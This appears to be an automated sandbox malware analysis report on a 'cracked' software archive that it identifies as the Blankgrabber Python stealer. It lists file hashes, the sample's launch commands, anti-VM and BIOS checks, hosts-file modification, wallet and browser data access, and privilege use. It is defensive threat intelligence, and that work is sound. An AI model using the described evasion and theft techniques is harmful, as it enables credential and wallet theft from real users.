Malware Analysis Report

2024-10-16 07:08

Sample ID 240531-xwfqhshh91
Target sillyboost_cracked_v1.zip
SHA256 5a0461545da96488d576540bc526e5c1a861d09f2c73f528e3191212d2f9f1b1
Tags
evasion trojan execution pyinstaller spyware upx stealer blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5a0461545da96488d576540bc526e5c1a861d09f2c73f528e3191212d2f9f1b1

Threat Level: Known bad

The file sillyboost_cracked_v1.zip was found to be: Known bad.

Malicious Activity Summary

evasion trojan execution pyinstaller spyware upx stealer blankgrabber

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Drops file in Drivers directory

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

UPX packed file

Checks BIOS information in registry

Looks up external IP address via web service

Checks whether UAC is enabled

Accesses cryptocurrency files/wallets, possible credential harvesting

Detects Pyinstaller

Unsigned PE

Enumerates physical storage devices

Enumerates processes with tasklist

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Views/modifies file attributes

Kills process with taskkill

Suspicious use of AdjustPrivilegeToken

Gathers system information

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-31 19:12

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win7-20240508-en

Max time kernel

121s

Max time network

123s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\crack.dll,#1

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Windows\system32\rundll32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\system32\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\system32\rundll32.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Windows\system32\rundll32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2936 wrote to memory of 1828 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 2936 wrote to memory of 1828 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe
PID 2936 wrote to memory of 1828 N/A C:\Windows\system32\rundll32.exe C:\Windows\system32\WerFault.exe

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\crack.dll,#1

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2936 -s 104

Network

N/A

Files

memory/2936-0-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-2-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-5-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-6-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-4-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-3-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-1-0x0000000072F20000-0x00000000738F3000-memory.dmp

memory/2936-7-0x0000000072F20000-0x00000000738F3000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

150s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\crack.dll,#1

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Windows\system32\rundll32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\system32\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\system32\rundll32.exe N/A

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Windows\system32\rundll32.exe N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\crack.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 44.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 213.143.182.52.in-addr.arpa udp

Files

memory/2116-1-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-2-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-3-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-4-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-0-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-5-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-6-0x000000006AF00000-0x000000006B8D3000-memory.dmp

memory/2116-7-0x000000006AF00000-0x000000006B8D3000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win7-20240419-en

Max time kernel

119s

Max time network

121s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

C:\Users\Admin\AppData\Local\Temp\onefile_2320_133616564095366000\loader.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\onefile_2320_133616564095366000\python311.dll

MD5 9a24c8c35e4ac4b1597124c1dcbebe0f
SHA1 f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA512 9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

C:\Users\Admin\AppData\Local\Temp\onefile_2320_133616564095366000\loader.exe

MD5 33310de4294631a069a6f4cdb587f4a3
SHA1 347a15cdd13c901b409d6434d24b0e7a0418917c
SHA256 77c0c00ed2f751f8759b1a8572b2081ce33d7b3c9c80228fc85d7408430594f5
SHA512 e496ef281a3ae113af0432e5141421ae472900cd7684e39f18706dd0ffa3170294fcb25d9f3134fab335836f217dac0f032132f266392097437bc6d885c06d92

Analysis: behavioral4

Detonation Overview

Submitted

2024-05-31 19:11

Reported

2024-05-31 19:16

Platform

win10v2004-20240508-en

Max time kernel

134s

Max time network

131s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\loader.exe"

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\onefile_5032_133616564135358136\loader.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
